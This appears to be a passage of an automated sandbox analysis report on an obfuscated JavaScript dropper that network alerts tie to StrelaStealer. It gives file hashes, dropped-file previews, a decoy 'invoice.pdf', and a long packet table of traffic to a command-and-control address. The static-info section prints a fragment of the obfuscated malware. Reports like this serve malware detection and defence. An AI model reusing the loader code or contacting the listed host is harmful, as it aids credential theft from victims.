SHA1:	4F3B688C4283A34B90A71602B7BC959276094539
SHA-256:	B0AAD15855140F7D8986C236431770C0CDD6FB8ACB55C9EAF1DE8A5B4C9B5C20
SHA-512:	16EA944DDDBFD1776B7E0385FABF3552574093F8CABEE63967F2D55FF7826199CBAF3A6C48956CD233C6E7B56417F1175F7E05589082E76CE08B9BBED362A677
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\42d90424-1089-4ede-9b56-4a1ff076e676.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\698199d7-793e-43f6-802a-b72d1f830dbf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xgwYIGNPgeWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JgwZG/WLxXGZN3mlind9i4ufFXpAXkru
MD5:	393804E9BFD182FDCC5F1FC1A732982E
SHA1:	6FE054E9979069B3C65A4F4282ACC89F642E02DA
SHA-256:	A041E4E95C1A18B5CA21FF069E6BC11FED9D7149F91E5F58AD38E25815A1CA63
SHA-512:	34E8053EE79C358F5B15DC966FA2FE0C635B6E5E0441133AD92A3FCE293DB334BAD69280ACA88945AB98A15AAAC57C7FC5508FCEB9F2118584D2850D6D5FF747
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\784f226b-155a-47a8-abf3-0899224a2df2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\fe011791-027f-4afb-849b-2ffffe332de9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14983), with CRLF line terminators
Entropy (8bit):	4.908139275247324
TrID:
File name:	2254619394221055585.js
File size:	18'419 bytes
MD5:	2be47bb5204f2dd9f2c4c1cd8b1ece0c
SHA1:	ce3c861016c957bf03de88bec1a3634ffba60594
SHA256:	a4ba525a88b64e37ee2201bd4032e49ceb571bb065c1b960ab3e1c4c9ee12e4c
SHA512:	c40cfc5fe3fea02e54e66235fb81fdb0362001789a7a4dbd33dd6e0e083539deb265c0f142a1f2fc15ee3f4e4a8d11374d9882d266a98d774b1fc661c3b52f13
SSDEEP:	384:qqZqi3SxnqGUsE/7/J6Uvb8SAYew4RDrQnHRqcTotQtA8:qqZqioZJNRoxqmo+
TLSH:	96824F5DE83A9B4A99FD90F1494751E826DC42A85E30F4EC9102B0F0879CD78E7F98F6
File Content Preview:	function kboctsg(){sdfgnrhz=[1031,3079,5127,4103,2055,3072];var vxrskq=this[udxer+qljmsi+fgzjd+kwzyqocex+ycyrmieab+ksizw+xckwnvfwd+jasihq](this[jaixt+cfrzvqal+sdvagz+fgzjd+dgmqnte+udxer+jasihq][iixydiyq+fgzjd+ycyrmieab+qljmsi+jasihq+ycyrmieab+wxttvmsn+dmh

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:05:46.238736+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T02:05:46.238736+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T02:05:48.463837+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:05:45.422904968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:45.427859068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:45.428220987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:45.431334019 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:45.436161041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.238637924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.238663912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.238675117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.238735914 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.238744020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.238756895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.238792896 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.238929987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.238943100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.238955021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.238965034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.238970995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.238979101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.239012003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.239044905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.243560076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.243594885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.243705034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.279500961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.279520988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.279601097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.361766100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.361783028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.361794949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.361807108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.361890078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.362020969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.362035990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.362047911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.362077951 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.362102032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.362114906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.362142086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.362899065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.362912893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.362926960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.362940073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.362996101 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.363001108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.363595009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.363639116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.363651991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.363693953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.363693953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.363846064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.363858938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.363966942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.364729881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.364742041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.364841938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.367012978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.367026091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.367038012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.367086887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.367093086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.367235899 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.404247046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.404263973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.404309034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.449561119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.449575901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.449683905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.500282049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.500298977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.500313044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.500350952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.500384092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.500411987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.500413895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.500513077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.500524998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.500536919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.500607014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.500607014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.500642061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.500653982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.500665903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.500679016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.500732899 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.500732899 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.500852108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.500864029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.500925064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.501436949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.501447916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.501466036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.501506090 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.501533031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.501543999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.501557112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.501569033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.501616955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.501616955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.501796961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.501808882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.501851082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.502310038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.502322912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.502336025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.502382040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.502439022 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.502484083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.502496004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.502509117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.502518892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.502532005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.502537012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.502588987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.502607107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.502893925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.503184080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.503240108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.503252983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.503305912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.503362894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.503376961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.503390074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.503401995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.503428936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.503428936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.503534079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.503546000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.503639936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.504105091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.504151106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.554306984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.554347992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.554413080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.554446936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.554507971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.554507971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.554619074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.554652929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.554919958 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.587848902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.587868929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.587995052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.625287056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.625344038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.625355959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.625369072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.625421047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.625425100 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.625432968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.625458956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.625504971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.625642061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.625653982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.625665903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.625705957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.625763893 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.625912905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.625930071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.625941038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.626038074 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.626039028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.626080990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.626194954 CET	80	49699	193.143.1.205	192.168.2.7
